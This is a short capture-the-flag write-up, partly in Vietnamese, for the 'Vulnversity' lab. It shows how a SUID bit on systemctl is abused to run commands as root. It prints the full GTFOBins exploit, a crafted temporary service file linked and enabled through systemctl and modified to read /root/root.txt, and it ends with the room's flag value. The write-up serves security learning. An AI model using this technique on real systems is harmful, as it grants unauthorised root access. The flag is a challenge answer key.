Description

Vulnversity

It’s challenge time! We have guided you through this far. Can you exploit this system further to escalate your privileges and get the final answer?

Become root and get the last flag (/root/root.txt)

Approach

Privilege Escalation

Bối cảnh của challenge này là ta đã có reverse shell từ task trước.

Thực hiện theo Linux Privilege Escalation - SUID và tìm thấy binary /bin/systemctl có bit s ở trong tập quyền. Tìm kiếm trên GTFOBins thấy được exploit như sau:

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF

Important

Ta cần thay giá trị của flag -c lại thành cat /root/root.txt > /tmp/output để đọc flag ở /root/root.txt.

Thực thi exploit và vào tập tin /tmp/output để đọc flag.

Flag

Success

a58ff8579f0a9270368d33a9966c7fd5